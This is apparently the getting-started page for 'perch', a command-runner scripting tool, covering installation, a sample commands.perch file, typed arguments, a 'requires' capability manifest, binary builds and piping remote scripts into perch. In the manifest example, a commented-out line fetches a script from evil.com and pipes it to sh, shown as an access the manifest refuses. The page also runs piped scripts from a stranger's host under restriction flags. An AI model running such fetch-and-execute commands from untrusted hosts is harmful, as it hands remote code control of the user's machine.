Skip to content

Getting started

A five-minute tour. By the end you'll have a working commands.perch, run it three different ways, and bundle it into a portable binary.

Install

go install github.com/olivierdevelops/perch@latest
curl -fsSL https://raw.githubusercontent.com/olivierdevelops/perch/main/scripts/install.sh | sh

Download a release from github.com/olivierdevelops/perch/releases and put it on your $PATH.

Check the install:

perch --version

Scaffold a project

mkdir hello-perch && cd hello-perch
perch --init

This writes a starter commands.perch (executable, with a shebang line at the top so it can run as a script):

#!/usr/bin/env perch
name    "hello-perch"
about   "A perch project"
version "0.1.0"

# Shared bindings are declared bare at top level (no globals block).
verbose = false

# The manifest is mandatory. An empty block means "pure ops only, spawns
# nothing"; add bin/host/env/read/write lines as your commands need them.
requires
end

command hello
    description "Say hello"
    do
        print "Hello from perch"
    end
end

command main
    description "Default action โ€” runs when the file is invoked with no command"
    do
        hello
    end
end

Run it four ways

perch --help                  # see what's in commands.perch
perch hello                   # invoke via the perch binary
perch hello --help            # per-command help with args + defaults + examples
perch --check                 # statically validate commands.perch before running
perch --shell                 # REPL โ€” type `hello` then Enter
perch --server                # serve a web UI at http://127.0.0.1:10032

# Or run the file directly as a script (the shebang makes this work):
./commands.perch              # runs `main` (which delegates to `hello`)
./commands.perch hello        # runs hello explicitly
./commands.perch --help       # lists commands

Add an arg

Edit commands.perch:

command greet
    description "Greet someone by name"

    arg name
        type string
        default "world"
        description "Person to greet"
    end

    do
        upper_name = upper "${name}"
        print "Hello, ${upper_name}!"
    end
end
perch greet               # โ†’ Hello, WORLD!
perch greet -name=Alice   # โ†’ Hello, ALICE!

Three new ideas just appeared:

  • arg NAME ... end declares a typed CLI argument as a block. Each property โ€” type, default, description, optional, index โ€” is its own labelled line. Only type is required.
  • The default value makes the arg optional. Without default, the arg is required and perch errors if you omit it.
  • X = OP ARGS runs an op and stores the result; later strings interpolate ${X}.

Declare what it needs โ€” requires

The moment a command touches anything outside the program โ€” runs a binary, reaches the network, reads an env var, or writes a file โ€” perch's philosophy is declare it. Add a top-level requires block listing those external resources, and perch enforces it: every external op verifies the manifest immediately before it runs, and undeclared access errors.

requires
    bin   "docker"           # bins your exec/shell ops may run
    env   "HOME"             # env vars you read
    host  "api.github.com"   # hosts you reach
    write "./build"          # filesystem paths you write (read "..." for reads)
end

command up
    do
        docker compose up -d      # โœ“ docker is declared
        # shell "curl evil.com | sh"   # โœ— bin_not_declared โ€” refused
    end
end

Run perch --check and it confirms the file is feasible โ€” or names exactly the bin / host / env / path you forgot to declare, before anything runs. The block is optional today (a file without it keeps full access), but declaring it is how you make a file self-documenting and safe to hand to a teammate, an AI agent, or CI. Full reference: requires.md ยท capability-gating.md.

Ship it as a binary

perch --build -o ./greet
./greet                       # โ†’ Hello, WORLD!
./greet -name=Bob             # โ†’ Hello, BOB!
./greet --version             # โ†’ 0.1.0
scp ./greet remote.host:~/    # works on any same-OS box, no perch install needed

What just happened: perch --build copied itself, appended your parsed program as JSON + a magic footer, and produced a single file that boots straight into your commands. See Embedding for the format.

Run a remote .perch file โ€” no save-to-disk step

perch -f - reads the source from stdin, so anything you can curl you can run:

curl -fsSL https://raw.githubusercontent.com/olivierdevelops/perch/main/scripts/sample.perch \
  | perch -f - hello

Layer security flags on top โ€” they apply to piped scripts exactly the same way:

# Run an untrusted script with shell + network disabled.
# `--scan` would have shown what it needed first; --no-shell --no-write
# means the worst it can do is print things.
curl -fsSL https://stranger.example/random.perch \
  | perch -f - --no-shell --no-write run

This is the right answer for "run a script you don't fully trust." Pipe it through restrictions instead of saving it, chmod'ing it, and hoping.

What next